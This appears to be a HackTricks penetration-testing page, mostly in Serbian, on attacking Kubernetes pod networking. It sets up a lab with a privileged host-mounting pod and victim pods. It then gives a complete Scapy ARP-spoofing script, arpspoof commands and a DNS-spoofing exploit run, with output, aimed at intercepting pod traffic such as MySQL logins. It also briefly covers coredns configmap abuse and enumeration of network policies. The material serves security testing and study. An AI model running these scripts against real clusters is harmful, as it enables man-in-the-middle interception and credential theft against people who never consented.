# Kubernetes Network Attacks

{{#include ../../banners/hacktricks-training.md}}

## Introduction

U Kubernetes-u, primećeno je da podrazumevano ponašanje omogućava uspostavljanje veza između **svih kontejnera koji se nalaze na istom čvoru**. Ovo važi bez obzira na razlike u imenskim prostorima. Takva povezanost se proteže do **Layer 2** (Ethernet). Kao rezultat, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost da **maliciozni kontejner** izvrši **ARP spoofing napad** na druge kontejnere smeštene na istom čvoru. Tokom takvog napada, maliciozni kontejner može obmanuti da presretne ili izmeni mrežni saobraćaj namenjen drugim kontejnerima.

ARP spoofing napadi uključuju **napadača koji šalje falsifikovane ARP** (Address Resolution Protocol) poruke preko lokalne mreže. To rezultira povezivanjem **MAC adrese napadača sa IP adresom legitimnog računara ili servera na mreži**. Nakon uspešne realizacije takvog napada, napadač može presresti, izmeniti ili čak zaustaviti podatke u tranzitu. Napad se izvršava na Layer 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes-u na ovom sloju izaziva zabrinutost za bezbednost.

U scenariju će biti kreirane 4 mašine:

- ubuntu-pe: Privilegovana mašina za bekstvo na čvor i proveru metrika (nije potrebna za napad)
- **ubuntu-attack**: **Maliciozni** kontejner u podrazumevanom imenskom prostoru
- **ubuntu-victim**: **Žrtva** mašina u kube-system imenskom prostoru
- **mysql**: **Žrtva** mašina u podrazumevanom imenskom prostoru
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
```

```bash
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Osnovno Kubernetes Mrežno Povezivanje

Ako želite više detalja o mrežnim temama predstavljenim ovde, idite na reference.

### ARP

Opšte govoreći, **mrežno povezivanje podova unutar čvora** je dostupno putem **mosta** koji povezuje sve podove. Ovaj most se zove “**cbr0**”. (Neki mrežni dodaci će instalirati svoj vlastiti most.) **cbr0 takođe može obraditi ARP** (Protokol za rešavanje adresa) rezoluciju. Kada dolazni paket stigne na cbr0, može rešiti odredišnu MAC adresu koristeći ARP.

Ova činjenica implicira da, po defaultu, **svaki pod koji radi u istom čvoru** će moći da **komunicira** sa bilo kojim drugim podom u istom čvoru (nezavisno od imenskog prostora) na ethernet nivou (sloj 2).

> [!WARNING]
> Stoga, moguće je izvršiti A**RP Spoofing napade između podova u istom čvoru.**

### DNS

U kubernetes okruženjima obično ćete pronaći 1 (ili više) **DNS usluga koje rade** obično u kube-system imenskom prostoru:
```bash
kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153
```
U prethodnim informacijama možete videti nešto zanimljivo, **IP usluge** je **10.96.0.10**, ali **IP pod-a** koji pokreće uslugu je **172.17.0.2.**

Ako proverite DNS adresu unutar bilo kog pod-a, naći ćete nešto poput ovoga:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Međutim, pod **ne zna** kako da dođe do te **adrese** jer je **pod opseg** u ovom slučaju 172.17.0.10/26.

Zato će pod poslati **DNS zahteve na adresu 10.96.0.10** koja će biti **prevedena** od strane cbr0 **na** **172.17.0.2**.

> [!WARNING]
> To znači da **DNS zahtev** poda **uvek** ide na **most** da **prevede** **IP usluge na IP krajnje tačke**, čak i ako je DNS server u istoj podmreži kao pod.
>
> Znajući ovo, i znajući da su **ARP napadi mogući**, **pod** u čvoru će moći da **presretne saobraćaj** između **svakog poda** u **podmreži** i **mosta** i **modifikuje** **DNS odgovore** sa DNS servera (**DNS Spoofing**).
>
> Štaviše, ako je **DNS server** u **istom čvoru kao napadač**, napadač može **presresti sve DNS zahteve** bilo kog poda u klasteru (između DNS servera i mosta) i modifikovati odgovore.

## ARP Spoofing u podovima u istom čvoru

Naš cilj je da **ukrademo barem komunikaciju od ubuntu-victim do mysql**.

### Scapy
```bash
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
```

```python:arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
```
### ARPSpoof
```bash
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing

Kao što je već pomenuto, ako **kompromitujete pod na istoj čvoru kao DNS server pod**, možete **MitM** sa **ARPSpoofing** mostom i **DNS** podom i **modifikovati sve DNS odgovore**.

Imate stvarno dobar **alat** i **tutorijal** za testiranje ovoga u [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)

U našem scenariju, **preuzmite** **alat** u napadačkom podu i kreirajte **datoteku nazvanu `hosts`** sa **domenima** koje želite da **spoof** kao:
```
cat hosts
google.com. 1.1.1.1
```
Izvršite napad na ubuntu-victim mašinu:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
```

```bash
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1
```
> [!NOTE]
> Ako pokušate da kreirate svoj vlastiti DNS spoofing skript, ako **samo modifikujete DNS odgovor** to **neće** **raditi**, jer će **odgovor** imati **src IP** adresu **malicioznog** **poda** i **neće** biti **prihvaćen**.\
> Morate generisati **novi DNS paket** sa **src IP** adrese **DNS** na koju žrtva šalje DNS zahtev (što je nešto poput 172.16.0.2, a ne 10.96.0.10, to je IP adresa K8s DNS servisa, a ne IP adresa DNS servera, više o tome u uvodu).

## DNS Spoofing putem coreDNS configmap

Korisnik sa pravima pisanja nad configmap `coredns` u kube-system imenu može modifikovati DNS odgovore klastera.

Proverite više informacija o ovom napadu u:

{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}

## Zloupotreba izloženih kubernetes upravljačkih servisa

Servisi poput Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes kontrolne table često su izloženi ili internetu ili unutar kubernetes mreže. Napadač koji uspe da **pronađe bilo koju platformu koja se koristi za upravljanje kubernetesom i pristupi joj** može je zloupotrebiti da dobije pristup kubernetes API-ju i izvrši radnje poput kreiranja novih podova, modifikovanja postojećih ili čak brisanja.

## Nabrajanje kubernetes mrežnih politika

Dobijte konfigurisane **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Dobijte **Callico** mrežne politike:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Dobijte **Cillium** mrežne politike:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Instalirajte druge CRD-ove povezane sa politikom koje je instalirao vaš mrežni dodatak ili rešenje za bezbednost:
```bash
kubectl get crd | grep -i policy
```
## Zapošljavanje saobraćaja

Alat [**Mizu**](https://github.com/up9inc/mizu) je jednostavan, ali moćan API **pregledač saobraćaja za Kubernetes** koji vam omogućava da **vidite svu API komunikaciju** između mikroservisa kako biste pomogli u debagovanju i rešavanju regresija.\
Instaliraće agente u odabranim podovima i prikupiti informacije o njihovom saobraćaju i prikazati ih na veb serveru. Međutim, biće vam potrebne visoke K8s dozvole za ovo (i nije baš diskretno).

## Reference

- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)

{{#include ../../banners/hacktricks-training.md}}
